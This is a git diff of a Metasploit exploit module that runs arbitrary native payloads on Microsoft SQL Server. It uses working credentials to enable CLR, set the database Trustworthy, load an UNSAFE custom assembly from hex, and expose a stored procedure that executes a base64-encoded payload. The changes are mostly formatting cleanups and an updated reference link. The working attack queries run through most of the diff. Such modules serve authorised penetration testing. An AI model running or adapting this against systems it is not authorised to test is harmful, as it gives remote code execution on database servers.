diff --git a/modules/exploits/windows/mssql/mssql_clr_payload.rb b/modules/exploits/windows/mssql/mssql_clr_payload.rb
index 313c14d07b61..6fca0a513513 100644
--- a/modules/exploits/windows/mssql/mssql_clr_payload.rb
+++ b/modules/exploits/windows/mssql/mssql_clr_payload.rb
@@ -9,45 +9,48 @@ class MetasploitModule < Msf::Exploit::Remote
   include Msf::Exploit::Remote::MSSQL
 
   def initialize(info = {})
-    super(update_info(info,
-      'Name'           => 'Microsoft SQL Server Clr Stored Procedure Payload Execution',
-      'Description'    => %q{
-        This module executes an arbitrary native payload on a Microsoft SQL
-        server by loading a custom SQL CLR Assembly into the target SQL
-        installation, and calling it directly with a base64-encoded payload.
-
-        The module requires working credentials in order to connect directly to the
-        MSSQL Server.
-
-        This method requires the user to have sufficient privileges to install a custom
-        SQL CRL DLL, and invoke the custom stored procedure that comes with it.
-
-        This exploit does not leave any binaries on disk.
-
-        Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).
-      },
-      'Author'         =>
-        [
-          'Lee Christensen',  # original idea/research
+    super(
+      update_info(
+        info,
+        'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution',
+        'Description' => %q{
+          This module executes an arbitrary native payload on a Microsoft SQL
+          server by loading a custom SQL CLR Assembly into the target SQL
+          installation, and calling it directly with a base64-encoded payload.
+
+          The module requires working credentials in order to connect directly to the
+          MSSQL Server.
+
+          This method requires the user to have sufficient privileges to install a custom
+          SQL CRL DLL, and invoke the custom stored procedure that comes with it.
+
+          This exploit does not leave any binaries on disk.
+
+          Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).
+        },
+        'Author' => [
+          'Lee Christensen', # original idea/research
           'Nathan Kirk',      # extra research/blog post
           'OJ Reeves'         # Metasploit module
         ],
-      'License'        => MSF_LICENSE,
-      'References'     =>
-        [
-          ['URL', 'http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/']
+        'License' => MSF_LICENSE,
+        'References' => [
+          # as of January 9, 2025 http://sekirkity.com is now a banner ad site w/ NSFW content.
+          ['URL', 'https://web.archive.org/web/20200810021536/http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/']
         ],
-      'Platform'       => 'win',
-      'Arch'           => [ARCH_X86, ARCH_X64],
-      'Targets'        => [['Automatic', {}]],
-      'DefaultTarget'  => 0,
-      'DisclosureDate' => '1999-01-01'
-    ))
+        'Platform' => 'win',
+        'Arch' => [ARCH_X86, ARCH_X64],
+        'Targets' => [['Automatic', {}]],
+        'DefaultTarget' => 0,
+        'DisclosureDate' => '1999-01-01'
+      )
+    )
 
     register_options(
       [
         OptString.new('DATABASE', [true, 'The database to load the CLR Assembly into.', 'master'])
-      ])
+      ]
+    )
   end
 
   def check
@@ -74,7 +77,7 @@ def check
   end
 
   def get_sql_version_string
-    mssql_query("select @@version", false)[:rows].first[0]
+    mssql_query('select @@version', false)[:rows].first[0]
   end
 
   def get_sql_architecture(sql_version_string)
@@ -101,7 +104,7 @@ def set_trustworthy(on)
       result[:errors].each do |err|
         vprint_error(err)
       end
-      fail_with(Failure::Unknown, "Failed to change Trustworthy setting")
+      fail_with(Failure::Unknown, 'Failed to change Trustworthy setting')
     end
   end
 
@@ -112,18 +115,18 @@ def is_trustworthy
   end
 
   def enable_clr(enable)
-    query = %Q^
+    query = %(
 EXEC sp_configure 'show advanced options', 1;
 RECONFIGURE;
 EXEC sp_configure 'clr enabled', #{enable ? 1 : 0};
 RECONFIGURE;
-    ^
+    )
     result = mssql_query(query, false)
     unless result[:errors].empty?
       result[:errors].each do |err|
         vprint_error(err)
       end
-      fail_with(Failure::Unknown, "Failed to change CLR setting")
+      fail_with(Failure::Unknown, 'Failed to change CLR setting')
     end
   end
 
@@ -180,14 +183,14 @@ def exploit
     # Convert the assembly to the required format for execution of the stored
     # procedure to create the custom stored proc
     hex_assembly = "0x#{assembly.unpack('H*')[0]}"
-    asm_name = Rex::Text.rand_text_alpha(rand(4) + 8)
+    asm_name = Rex::Text.rand_text_alpha(rand(8..11))
     query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE"
 
     print_status('Adding custom payload assembly ...')
     mssql_query(query, false)
 
-    proc_name = Rex::Text.rand_text_alpha(rand(4) + 8)
-    param_name = Rex::Text.rand_text_alpha(rand(4) + 8)
+    proc_name = Rex::Text.rand_text_alpha(rand(8..11))
+    param_name = Rex::Text.rand_text_alpha(rand(8..11))
     query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]"
 
     print_status('Exposing payload execution stored procedure ...')
@@ -214,7 +217,6 @@ def exploit
       print_status('Restoring Trustworthy setting ...')
       set_trustworthy(false)
     end
-
   ensure
     disconnect
   end